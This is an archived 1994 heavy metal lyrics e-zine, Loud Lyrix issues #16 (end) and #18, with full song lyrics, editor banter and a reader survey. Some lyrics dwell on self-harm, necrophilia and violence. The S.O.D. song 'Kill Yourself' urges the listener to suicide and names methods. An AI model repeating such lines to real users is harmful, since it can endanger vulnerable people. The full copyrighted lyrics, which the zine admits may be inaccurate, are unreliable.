+Corrosion inside -- we feel +Condemned future -- we see +Emptiness calls -- we hear +Final premonition -- the truth + +Land of anger +I didn't ask to be born +Sadness, sorrow +Everything so alone + +Laboratory sickness +Infects humanity +No hope for cure +Die by technology + +We're born With pain +Suffer Remains +We're born With pain +Suffer Remains +We're dead + +***************************** T H E E N D ******************************* +Typed by: Lyrics Archives at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +************************* T H I S L O V E ******************************* + by P A N T E R A + Album: "Vulgar Display of Power" + + +If ever words were spoken, painful and untrue. +I said I loved but I lied +In my life, all I wanted was the keeping of someone like you. +As it turns out, deeper within me, love was twisted and pointed at you. +- Never ending pain, quickly ending life - + +Chorus: +You keep this love, thing, child, toy. +You keep this love, fist, scar, break +You keep this love. + +I'd been the tempting one, stole her from herself. +This gift in pain, her pain was life. +And sometimes, I feel so sorry. +I regret this the hurting of you. +But you make me so unhappy, I'd take my life and leave love with you. +- I'd kill myself for you, I'd kill you for myself - + +(Chorus) + +No more head trips. + +**************************** T H E E N D ******************************** +Typed by: Death Incarnate + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +***************** H A U N T I N G T H E C H A P E L ******************* + by S L A Y E R + Album: "Haunting The Chapel" + + +The holy cross +Symbol of life +Anticipate the lives of Christians born +Speak of death +The words of hate +Anticipate the rules among the dead +Hell has seen +Priests condemned +To bring forth the lord of the cross +Strike twelve +Raise the dead +The chapel comes under attack + +The ghosts of dead +Torment the priest +Their altar will soon be destroyed +Heaven's mass +Turning black +The church will belong to the dead +Blackened magic +And thus we're lost +Lucifer will supreme +The crystal ball +Children of faith +Their lasting eternal scream + +Those who never make the people scream +Have no task for all of time +Satan's form of soldiers stand in lust +Destruction charged upon the cross + +Attacking there's seven ways to go +Tormenting the priest, hell to the cross +Haunting the chapel has to prevail +Death will come to the house of God that failed + +**************************** T H E E N D ******************************** +Typed by: Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +****************** R I D E T H E L I G H T N I N G ******************** + by M E T A L L I C A + Album: "Ride The Lightning" + + +Guilty as charged +But damn it, it ain't right +There is someone else controlling me + +Death in the air +Strapped in the electric chair +This can't be happening to me + +Who made you God to say +"I'll take your life from you!" +chorus: + Flash before my eyes + Now it's time to die + Burning in my brain + I can feel the flames + +Wait for the sign +To flick the switch of death +It's the beginning of the end + +Sweat, chilling cold +As I watch death unfold +Consciousness my only friend + +My fingers grip with fear +What I am doing here? +chorus: + +Someone help me +Oh please God help me +They are trying to take it all away +I don't want to die + +Time moving slowly +The minutes seem like hours +The final curtain call I see + +How true is this? +Just get it over with +If this is true, just let it be + +Wakened by the horrid cream +Freed from the frightening dream +chorus: + +***************************** T H E E N D ******************************* +Typed By: Bill Northrup + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +*********************** B L A C K S A B B A T H ************************* + by B L A C K S A B B A T H + Album: "Black Sabbath" + + +What is this that stands before me? +Figure in black which points at me +Turn around quick, and start to run +Find out I'm the chosen one +Oh nooo! + +Big black shape with eyes of fire +Telling people their desire +Satan's sitting there, he's smiling +Watches those flames get higher and higher +Oh no, no, please God help me! + +Is it the end, my friend? +Satan's coming 'round the bend +people running 'cause they're scared +The people better go and beware! +No, no, please, no! + +**************************** T H E E N D ******************************** +Typed by: Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +[I think that this is one of the coolest songs ever... it's got an amazing +plot and everything.. the only drawback is that it's like 15 minutes long!! +I was going nuts trying to fit it on a 90 minute tape... anyways.. enjoy! +-- Editor] + +********* R I M E O F T H E A N C I E N T M A R I N E R *********** + by I R O N M A I D E N + Album: "Powerslave" + + +Hear the rime of the ancient mariner +See his eye as he stops one of three +Mesmerizes one of the wedding guests +Stay here and listen to the nightmares of the sea. + +And the music plays on, as the bride passes by +Caught by his spell and the mariner tells his tale. + +Driven south to the land of the snow and ice +To a place where nobody's been +Through the snow fog flies on the albatross +Hailed in God's name, hoping good luck it brings. + +And the ship sails on, back to the North +Through the fog and ice and the albatross follows on. + +The mariner kills the bird of good omen +His shipmates cry against what he's done +But when the fog clears, they justify him +And make themselves a part of the crime. + +Sailing on and on and north across the sea +Sailing on and on and north 'til all is calm. + +The albatross begins with its vengeance +A terrible curse a thirst has begun +His shipmates blame bad luck on the mariner +About his neck, the dead bird is hung. + +And the curse goes on and on at sea +And the curse goes on and on for them and me. + +"Day after day, day after day, + we stuck nor breath nor motion +as idle as a painted ship upon a painted ocean +Water, water everywhere and + all the boards did shrink +Water, water everywhere nor any drop to drink." + +There calls the mariner +There comes a ship over the line +But how can she sail with no wind in her sails and no tide. + +See...onward she comes +Onward she nears out of the sun +See, she has no crew +She has no life, wait but here's two. + +Death and she Life in Death, +They throw their dice for the crew +She wins the mariner and he belongs to her now. +Then...crew one by one +they drop down dead, two hundred men +She...she, Life in Death. +She lets him live, her chosen one. + +"One after one by the star dogged moon, +too quick for groan or sigh +each turned his face with a ghastly pang +and cursed me with his eye +four times fifty living men +(and I heard nor sigh nor groan) +with heavy thump, a lifeless lump, +they dropped down one by one." + +The curse it lives on in their eyes +The mariner wished he'd die +Along with the sea creatures +But they lived on, so did he. + +and by the light of the moon +He prays for their beauty not doom +With heart he blesses them +God's creatures all of them too. + +Then the spell starts to break +The albatross falls from his neck +Sinks down like lead into the sea +Then down in falls comes the rain. + +Hear the groans of the long dead seamen +See them stir and they start to rise +Bodies lifted by good spirits +None of them speak and they're lifeless in their eyes + +And revenge is still sought, penance starts again +Cast into a trance and the nightmare carries on. + +Now the curse is finally lifted +And the mariner sights his home +spirits go from the long dead bodies +Form their own light and the mariner's left alone. + +And then a boat came sailing towards him +It was a joy he could not believe +The pilot's boat, his son and the hermit, +Penance of life will fall onto him. + +And the ship sinks like lead into the sea +And the hermit shrieves the mariner of his sins. + +The mariner's bound to tell of his story +To tell this tale wherever he goes +To teach God's word by his own example +That we must love all things that God made. + +And the wedding guest's a sad and wiser man +And the tale goes on and on and on. + +***************************** T H E E N D ******************************* +Typed by: The Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Ok, that's it folks... remember about the listserv, I'll be sending +instructions on how to use the diskspace as soon as I get it online, and +remember not to freak out if your Loud Lyrix is late in arriving, and +finally... GET THOSE SUBMISSIONS IN TO ME!!!!!!!!!!! And the survey's too!! + +C-ya! + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +End -- Loud Lyrix #16 + + +Ok.. thats all of 'em.. thanks for this Rita. + + -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + < !@# Death #@! | Gino Filicetti > + < #@! Incarnate !@# | ginof@tvo.org / ginof@io.org > + -------------------------------------------------------------------- + < Editor of: LOUD LYRIX, A weekly 'zine dedicated to the spread of > + < heavy metal lyrics around the world. > + < Send a 'SUBSCRIBE LYRIX' message to listserv@planet.org to join! > + =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + diff --git a/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-18 b/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-18 new file mode 100644 index 00000000..cf5ba6b8 --- /dev/null +++ b/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-18 @@ -0,0 +1,914 @@ + | _ \ | | __ \ | \ \ / _ \ _ _\ \ / + | | | | | | | | \ / | | | \ / + | | | | | | | | | __ < | \ + _____\___/ \___/ ____/ _____|_| _| \_\___|_/\_\ + + + Loud Lyrix, August 2, 1994, Issue # 18 + + +Addresses +--------- +Administrivia: lyrix@terranet.cts.com +Listserv: listserv@planet.org + +Editor-in-Chief: Death Incarnate (Gino Filicetti) +Publisher: Death Incarnate (Gino Filicetti) +Distributor: Death Incarnate (Gino Filicetti) & Planet Communications +Mailing Program: LISTSERV at planet.org (Planet Communications) + +! NOTE ! +~~~~~~~~ +All mail sent to the 'zine's list address will be +forwarded to the editor at , so please refrain +from sending anything to the list address, as this only 'causes us to +waste valuable resources. Thank you. + + +HOW TO SUBSCRIBE +~~~~~~~~~~~~~~~~ +You may join Loud Lyrix at any time by sending a "SUBSCRIBE LYRIX" command +to listserv@planet.org. Please note that this command must NOT be sent to +the list address , but to the mail server which handles +this mailing list. + + +DISCLAIMER +---------- +Loud Lyrix is not responsible for accuracy of the lyrics, song titles, +album titles, or specific performers of the songs contained herein. All +songs are property of the bands that perform them and/or their record +labels. The lyrics contained herein cannot be used for any purpose other +than "private study, scholarship, or research." If anyone makes use of a +reprinted song for purposes in excess of "fair use," that user may be +liable for copyright infringement. Loud Lyrix is not responsible for any +misrepresentation of the performers of any songs or their respective +lyrics. We reserve the right to reprint inaccurate lyrics if the song's +lyrics were not readily available to the typist. And just remember that +this publication is for the sheer fun and pleasure of discovering the +lyrics of some songs, and we are not out to rip off any bands or put any +words in their mouths. + + +DESCRIPTION +----------- +Loud Lyrix is a weekly publication dedicated to the spread of heavy metal +lyrics throughout the world. Subscriptions are available at no cost +electronically. Five to Ten songs are published every Tuesday. Along with +the lyrics, a section of the zine is devoted to reactions of subscribers to +previously posted songs. All subscribers are urged to send in lyrics from +their own favorite bands for publication. All requests, submissions or +comments must be sent to the above address. + + +OUR PHILOSOPHY +-------------- +We here at Loud Lyrix believe that the true meaning of a song can only make +itself known through the song's lyrics. It is for this reason that Loud +Lyrix exists, we are committed to delivering all the best lyrics of heavy +metal songs to Cyber-bangers around the globe. Long live metal! + +>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< + +Loud Lyrix, #18, 8/2/94 +----------------------- + +Hey people! We're back with issue #18 of the best 'zine on the net: Loud +Lyrix!!! Yep, that's right.... you're eyes aren't deceiving you!! Hehehehe. +Anyway, it seems like forever since I did the last issue, that's 'cause I +put that one together last Saturday... so I dunno, this issue seemed a bit +overdue to me... but still... here we are, and better'n ever.......I HOPE!! + +Ok dudes, the first five songs are "Editor's Choice" and the remaining six +are all reader's submissions.... Thanks a lot to all our submitters... you +guys know who you are, and I just wanna thank you for all the work you've +done to keep Loud Lyrix from getting stagnant and boring... keep up the +great work! I wanna see just as many, if not MORE submissions next week!! + +Hey people!!! Have you gotten your survey in yet?? For about 250 of you, I +SERIOUSLY DOUBT IT!!! C'mon people.. I've only gotten about 30+ survey's +in so far, and the deadline is August 16th, issue #20.... so c'mon, if you +haven't filled out your survey, snap to it, and get it in to me, I'm +reprinting it in this issue again for any of you that missed issue #15. + +Ok people, ok issues #14 and #16.... we are STILL experiencing problems +with the listserv, so I still do not have permission to send those issues +out yet, but I WILL get 'em to you, don't you worry.... anyways, some of +you may have gotten issue #14 perfectly, but most of us got it with a +shitload of blank lines in between each line of text, so that's why I'm +remailing that issue, and for #16, it didn't get out AT ALL... so that's +obvious... anyway.... sorry for all this shit. + +As for me, the past week has been pretty good, 'cept at work, fucking +supervisors are SERIOUSLY starting to piss me off.... the are fucking over +everyone, and if they don't watch out, some heads are gonna be broken, +anyways, enough nastiness.... everything else has been pretty much OK, +nothing special, but tolerable... ok then people.. that's it... now to the +songs. + +BTW... in someone's survey, I got a compliant about me posting King +Diamond lyrics all the time... all I gotta say is TOO BAD... each King +Diamond album is a concept album, and if I don't print the WHOLE thing, +it's just plain useless, I hope at least some of you are enjoying the +story. + +CONTENTS +-------- +Reader's Survey (Third Printing) +Song 1: "A Broken Spell" ("Them", Chapter 7) by King Diamond +Song 2: "New World Order" by Ministry +Song 3: "Ride" by Cathedral +Song 4: "Sinner" by Judas Priest +Song 5: "Hell Awaits" by Slayer +Song 6: "I Love The Dead" by Alice Cooper +Song 7: "Can God Fill Teeth?" by Lard +Song 8: "Bandaged Knees" by The Almighty +Song 9: "Infested" by Course of Empire +Song 10: "Burning" by Man O War +Song 11: "Kill Yourself" by S.O.D. + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +[Remember people.. if you already sent in your survey, DO NOT SEND ANOTHER +ONE IN!!! Thank You -- Editor] + +[Thanks go out to Drew Master's and the dudes at M.E.A.T. magazine.... +many parts of this survey are taken from MEAT's "1993 Reader's Survey", +without their help, I wouldn't have been able to come up with HALF of this +stuff -- Editor] + +********************* R E A D E R ' S S U R V E Y *********************** + by G I N O F I L I C E T T I + + +Ok everyone, here's the scoop on how to complete this survey.. so listen +up! A typical question will look like this: + +Q. What colour is the sky? + +A. [_] - black + [_] - yellow + [_] - gray + [_] - blue + [_] - what's a colour? + +Ok? Now.. all you have to do is pick an answer, that means ONE answer +(unless otherwise stated), and check it off like this: + + [x] - gray + +That's all... then go on to the next question, ok?.. is that clear enough +for you dudes??? Did I baby you enough??? Ok then.. go to it... have fun! + +!NOTE! -- The term 'HARD MUSIC' has gained a bit of popularity as of late, +it's a term that is used to apply to all forms of what I would anyways call +metal.. be it punk, hardcore, alternative, glam, whatever. + +---------------------------- START OF SURVEY ------------------------------ + +1. Where did you first hear of Loud Lyrix? + + [_] - Usenet Group + [_] - A Mailing List + [_] - Personal message from me + [_] - A Net-pal + [_] - On a local BBS + [_] - Other, please specify: ___________________________________________ + +2. Why did you choose to subscribe to Loud Lyrix? + + [_] - Sounded xtremely kewl! (that's 'cool' if you dudes didn't know) + [_] - You forced me too! + [_] - A Net-pal forced me too! + [_] - Wanted to check out some Heavy Metal lyrics + [_] - Wanted to REALLY see what these 'bangers are like + [_] - Other, please specify: ___________________________________________ + +3. Which part of Loud Lyrix do you ESPECIALLY like? + + [_] - The lyrics of course!! + [_] - The K-Rad Editorials + [_] - Reader's Comments (pfft! as if we've had any!! hint hint!) + [_] - The occasional Concert review or 'Metal News' + +4. What changes would you like to see in Loud Lyrix? + (more than one answer accepted) + + [_] - More songs + [_] - More blabber from me + [_] - More Reader's Comments! (hint hint!) + [_] - More reviews (concerts, albums, etc.) + [_] - Change the publication frequency + [_] - Other, please specify: ___________________________________________ + +5. How many people will read this issue of Loud Lyrix? + + [_] - Just me moron! + [_] - Me and a friend + [_] - Me and my gang + [_] - Tons and Tons! + +6. Do you write your Loud Lyrix to disk, and save them? + + [_] - Yes + [_] - No + +7. Overall, how much do you like Loud Lyrix? + + [_] - Can't live without my fix of Loud Lyrix!! + [_] - Love it + [_] - Like it a lot + [_] - Like it a little + [_] - Hate it!! UNSUB ME!! + +8. What other media do you get hard music info from? + (more than one answer accepted) + + [_] - TV + [_] - Radio + [_] - Newspapers + [_] - Alternative 'zines + [_] - Metal Mags + [_] - All the above + [_] - None of that shit! + +9. Which STYLE of Hard Music do you like best? + + [_] - Hard Rock + [_] - Alternative/Grunge + [_] - Death/Thrash/Speed Metal (this is my choice!!!!) + [_] - Power Metal + [_] - Commercial Rock + [_] - Hard Core + [_] - Classic Rock/Metal + [_] - Christian Rock/Metal + [_] - Glam Rock + [_] - Other, please specify: ___________________________________________ + +10. How long have you been a fan of Hard Music? + + [_] - Over 10 years + [_] - 5 - 10 years + [_] - 3 - 4 years + [_] - 1 - 2 years + [_] - Since I subscribed + +11. Which formats of MUSIC PRODUCT do you _usually_ buy? + (more than one answer accepted) + + [_] - Compact Disc (CD) + [_] - Cassette Tapes + [_] - Rock Video + [_] - Vinyl + [_] - Other, please specify: __________________________________________ + +12. Approximately how many combined music products do you own? + + [_] - None at all + [_] - Less than 25 + [_] - 25 - 50 + [_] - 51 - 100 + [_] - 101 - 250 + [_] - 251 - 500 + [_] - More than 500 + +13. Do you ever copy CDs/Tapes onto blank cassettes? + + [_] - Yes + [_] - No + +14. How often do you attend Hard Music concerts? + + [_] - Twice a month or more + [_] - Monthly + [_] - Every few months + [_] - Twice a year + [_] - Once a year + [_] - Never + [_] - When there's a good show + +15. How many concerts have you been to in your life? + + [_] - None + [_] - 1 - 5 + [_] - 5 - 10 + [_] - 10 - 20 + [_] - More than 20 + +16. What is your status as a musician? + + [_] - Pro musician in a band + [_] - Pro studio musician + [_] - Part time pro musician + [_] - Casual player (non-pro) + [_] - I don't play + [_] - Other, please specify: __________________________________________ + +17. Which rock video shows to you watch? + (more than one answer accepted) + + [_] - Much Music's "Power 30" + [_] - Much Music's "The Wedge" + [_] - MTV's "Headbanger's Ball" + [_] - None of the Above + [_] - Other, please specify: __________________________________________ + +18. What is your gender? + + [_] - Male + [_] - Neuter + [_] - Female + [_] - Both + [_] - ALL OF THE ABOVE!!! + [_] - Other, please specify: __________________________________________ + +[I'm just kidding, but please answer this seriously, if not, I'll flame +you! -- Editor] + +19. What is your marital status + + [_] - Single + [_] - Married + [_] - Separated/Divorced/Widowed + +20. Are you presently attending... + + [_] - Public school + [_] - High school + [_] - College/University/Tech school - Part time only + [_] - College/University/Tech school - Full time + [_] - Not in school + +21. Are you... + + [_] - Working - Full time + [_] - Working - Part time + [_] - Unemployed + +Ok dudes... thanks a ton for this, I hope you ALL take the time to fill +out the survey and mail it to lyrix@terranet.cts.com... DON'T FORGET +PLEASE!!!! Thanks.. results will be posted in issue #20 !!! + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +********************** A B R O K E N S P E L L ************************ + by K I N G D I A M O N D + Album: "Them" + + +I stumbled out of Grandma's room, +down the stairs and out of the house +Once outside I felt My mind begin to +fight a battle for control + +With the tea pot broken I kind of +realized +That "THEIR" power was less here, +here on the outside + +I fell to my knees in haziness +And I looked in through the window +to the cellar + +Things were moving down there, +"THEY" were searching for something +And "THEY" really found it, +the big axe was flying + +Flying out through the cellar door +Up the stairs to the kitchen... +Then I passed out + +The next thing I remember seeing was +the smoke coming from the chimney +I soon realized the smoke I saw was +actually... Oh No! +All there was left of Missy and her +dress, poor little girl + +The spell was broken, I really felt the +change +As my mind and body became one +again + +The moon was alive with its silvery +eye +Staring right into My evil heart + +I went back to see if My Grandma' +was still there +Waiting for me in the attic... Oh I hate +that bitch + +********************* T O B E C O N T I N U E D *********************** +Typed by: Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +************* N . W . O ( N E W W O R L D O R D E R ) *************** + by M I N I S T R Y + Album: "Psalm 69" + + +All the locals have the tears of regret +Open fire cos i love you to death +Sky high, with a heartache of stone +You'll never see me cos i'm always alone +How to love without a trace of dissent +I'll buy the torture cos you pay for the rent +Tied high with a broken command +You're all alone to the promised land +I'm in love with this malicious intent +You've been taken but you don't know it yet +What you will know must never live to be found +Cos it's been subject to the eyes of the drowned + +**************************** T H E E N D ******************************** +Typed by: ThE BlACk SpOt

+ +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +******************************** R I D E ********************************** + by C A T H E D R A L + Album: "The Ethereal Mirror" + + +Lack-lustre vacuum magnetizes the land, +Scopeless material in ruthless demand, +concrete spectacle superficially grand, +divine animation buried in sand. + +Chorus: +Well rise from the ashes of stagnation, +crystal warriors of damnation. + +Nullified grafters manufactured from the womb, +out of the repro-clinic into household tomb. +Drag the nothing tiring through coal-dark underground, +drive the wheels of iron round and round. + +Repeat Chorus + +Souring eyes scar through that book of lies, +and to the truth, +well our search is dignified. + +Whilst the yawny drone of physical machinery +march in the robot mode to terminal destiny. + +Microscopic observance, +forsaken innerland, +spiritual inertia, +absorbed in bland, +well our significance shan't sink in their charade, +'cos through their drab pantomime I say were gonna ride! + +Chorus: End. + +**************************** T H E E N D ******************************** +Typed by: Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +****************************** S I N N E R ******************************** + by J U D A S P R I E S T + Album: "{Unknown}" + + +See the rider, +Rides in with the storm +And you were right beside him +But never lived a scout yet have been born +Do you, do you hear it, do ya +Hear the thunder +Deafening the devil in his abode +Can you, can you see it, can you +See the mountains darken yonder +Black and running time is running out. + +Sacrifice to vice, all die by the hand of the + Sinner! + Sinner! + Sinner! + Sinner! + +His steed fury, +Eyes of fire and rain ablaze +Demandin' vultures stulkin' +Drawn by the smell of warm and pain +He roams the starways +Searching for the caucuses of war +But it is only that his +Very presence +Disrupts the calling to the storm + +Curse and damn you, all you fall by the hand of the + Sinner! + Sinner! + Sinner! + Sinner! + +Part of the Devil, part of the Devil +OK, have you brain +Part of the Devil, part of the Devil +You better run away +Can't you hear their souls calling out + in their pain +Can't you see their bodies wanting searching + for their light + +Can't you hear their souls weeping +Some chant +Or is it insane +And it's only a rant +The Sinner is near +Sensing the fear +And the beast will start movin' around... + +Can't you see their souls calling out + in their pain +Can't you hear their bodies wanting searching + for the light + + ...Sinner, Sinner, Sinner, Sinner! + Sinner! + Sinner! + Sinner! + +Sacrifice to vice, all die by the hand of the +Curse and damn you, all you fall by the hand of the + Sinner! + +**************************** T H E E N D ******************************** +Typed by: Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +************************* H E L L A W A I T S *************************** + by S L A Y E R + Album: "Hell Awaits" + + +[Backwards: "Join us" x times] +[Welcome back] + +Existing on damnation's edge +The priest had never known +To witness such a violent show +Of power overthrown + +Angels fighting aimlessly +Still dying by the sword +Our legions killing all in sight +To get the one called Lord + +The Gates of Hell lie waiting as you see +There's no price to pay just follow me +I can take your lost soul from the grave +Jesus knows your soul can not be saved + +Crucify the so called Lord + He soon shall fall to me +Your souls are damned your God has fell +To slave for me eternally + Hell awaits... + +The Reaper guard's the darkened Gates +That Satan calls his home +Demons feed the furnace where +The Dead are free to roam + +Lonely children of the night +There's seven ways to go +Each leading to the burning hole +The Lucifer controls + +Priests of Hades seek the sacred star +Satan sees the answer lies not far +Zombies screaming souls cry out to you +Satanic laws prevail your life is through + +Pray to the moon... when it is round +Death with you shall then abound +What you seek... for can't be found +In sea or sky or underground + +Now I have you deep inside my everlasting grasp +The seven bloody Gates of Hell +Is where you'll live your last + +Warriors from Hell's Domain +Will bring you to your Death +The flames of Hades burning strong +Your soul shall never rest + +The Gates of Hell lie waiting as you see +There's no price to pay just follow me +I can take your lost soul from the grave +Jesus knows your soul can not be saved + +Sacrifice the lives of all I know they +Soon shall die +Their souls are damned to rot in Hell +and keep the fire growing deep inside + Hell awaits... + +**************************** T H E E N D ******************************** +Typed by: Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +[Your posting of "Fuck Me Dead" brought to mind Alice Cooper's necro +classic, "I Love The Dead." In fact, "Fuck Me Dead" seems like a kind of +rip-off. "I Love The Dead" is a little less graphic and less misogynistic, +but it gets to the point -- Richard] + +********************* I L O V E T H E D E A D *********************** + by A L I C E C O O P E R + Album: "Billion Dollar Babies" + + +I love the dead before they're cold. +They're bluing flesh for me to hold. +Cadaver eyes upon me see nothing. +I love the dead before they rise. +No farewells, no goodbyes. +I never even knew your rotting face. +While friends and lovers mourn your silly grave, +I have other uses for you, darling. +We love the dead, +We love the dead, yeah. + +**************************** T H E E N D ******************************** +Typed by: Richard Singer + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +***************** C A N G O D F I L L T E E T H ? ******************* + by L A R D + Album: "The Last Temptation Of Reid" + + +Don't ask me why +But I was walking down the streets +Of Fairfax, California +And I saw this flyer hangin' +On a telephone pole, and it said +CAN GOD FILL TEETH? + +For a $10 "donation" +You could see silver fillings turn +To gold and other "supernormal dental happenings." +New caps! Filled cavities! Bring a +Flashlight and a mirror and observe + +But wait a minute +Didn't I just read +About how the cops are getting parents +To plant bugging devices +In their kids' teeth +So if they disappear they can track 'em +Before they wind up on the backs of milk cartons +And all that + +And didn't I read +That these devices can go two-way +And everything that I do or say +Is all goin' on tape somewhere right now +Planted in my cavities +And they didn't even tell me +No wonder every bad thing +In and out of my mouth +Keeps winding up on my employment record + +All those fillings +All those crowns +I'll show them +Who's the boss of my big mouth + +Where's the pliers +God dammit! Where's the pliers?!? +Wilma! Where'd you put my electric drill +This is all coming out now-TODAY! + +CHORUS +Agh! Agh! Agh! +Agh! Agh! Agh! +Agh! Agh! Agh! + +Must be some kind of conspiracy +The whole world's a God damn conspiracy +Look anywhere long enough, you're gonna find a conspiracy +Man, LIFE is a conspiracy! + +CHORUS + +Needlenose +Up my nose +-Agh!- +Where did all these wires come from? +How far up into my skull do they go +I pull out more and more copper spaghetti + +How'd my Weekly World News get all wet? +God damn fishsticks melted again +What are they trying to do to me? +No secrets in the land of the free! + +There +No one's gonna tell me what to do +It's worth eating baby food +The rest of my life +To be a free man +Bastards +Probably wouldn't understand me anyway + +***************************** T H E E N D ******************************* +Typed by: Shimon Godes + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +********************** B A N D A G E D K N E E S ************************ + by T H E A L M I G H T Y + Album: "Soul Destruction" + + +Sittin' lone inside my Head +No mirrors to reflect +Is this here the season of joy +Or the season to Inject +Lord this must be judgement day +Take a close look at myself +Are you Happy? +With the hand that you've been dealt + +The bells they toll silently +Inflict Invisible Pain +Tell me which is more righteous +Chivas Regal or Cocaine +Friends won't answer your phone calls +Call your long distance family +Well i hope someone is listening +As I sing on Bandaged Knees + +On this holy day +I look to the skies +Are you tryin' to find yourself +Or just rearrange the time +Open up your spirit boy +Pass that liquid love +Do you prefer possessions +Or the purity of the dove + +Sing to me my little sister of mercy +Inspiration of my life +You know that I cant stand the pain +but you know that I never cry +I play for you my love song +Sung only for the damned +I wish I could spend tonight with you +But you know that I can't + +Look inside my black lines +Telling stories without couth +You might not like what they say +Cause they only speak the truth +play to me (My) Tarot +Slip my neck in through the belt +You can't change the ways of the game +When the cards are already dealt + +Chorus + +**************************** T H E E N D ******************************** +Typed By: Metal Blast + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +**************************** I N F E S T E D ****************************** + by C O U R S E O F E M P I R E + Album: "Initiation" + + +I hear a sound + humming just above the ground +Above the bird sounds + I hear a black sound + +It's dark inside + where all the insomniacs hide +Alone and deprived + waiting for fire to pump up the sky + +Inside of the mound + the oil oozes out +Like blood to the ground + into the face, out of the mouth + +Look Darwin in the eye + he says evolve or die +Like bees to the hive + so must we to survive + +This planet is infested +The world is infested +America's infested +This planet's infested + +The world is round + the weak fall out +I see the clouds + I'm stuck here on the ground + +Waiting for the flood again + while every face is dripping with + the same expression, spinning, and + we're out + +This planet is infested +The world is infested +America's infested +This planet's infested + + +**************************** T H E E N D ******************************** +Typed By: John Lerma + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +***************************** B U R N I N G ******************************* + by M A N O W A R + Album: "The Triumph of Steel" + + +We have come from the ashes, of the burning away +Pouring blood in the fire, on the altar of pain +Led into temptation, now the black gods align +Here there is no salvation, and your blood is my wine + +Here is a world that is waiting, between the living and +The dead. here the flesh and it's pleasures are +Eternally wed. all is all for the taking, for a life or a +Lie. at the end of the breaking I'll be watching you die + +Crawl to the silence, renounce and deny +The stars and the numbers,, foretold of this time +To the words and the wisdom, too the promise of lies, by +Their anger and fury, +The strong will survive. + +**************************** T H E E N D ******************************** +Typed By: Christopher Smith + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +*********************** K I L L Y O U R S E L F ************************* + by S T O R M T R O O P E R S O F D E A T H + Album: "Speak English Or Die" + + +Can't take it, never could +Time to end it, wish you would +Friends and family, they're all gone +Life for you is just a con +Dig yourself a hole in the ground +Push up daisies six feet down +Take a dirt nap, buy the farm +Inject a bubble in your arm +CHORUS: Kill yourself, kill yourself + Why don't you kill yourself + Don't rely on no one else + End it all and kill yourself + Kill yourself, kill yourself + Why don't you kill yourself + Don't rely on no one else + End it all and kill yourself NOW +Life is just a one-way ticket +Everyone must go around +Here's a bucket, go and kick it +Slit your wrists without a sound +When you go don't make a big deal +No dramatics, don't overplay +'Cause don't you know that we'll all feel +Better once you've gone away +CHORUS +You're a loser +There's nothing left for you +A worthless loser +At everything you do +KILL YOURSELF NOW!!!! + +**************************** T H E E N D ******************************** +Typed by: Sodhed + 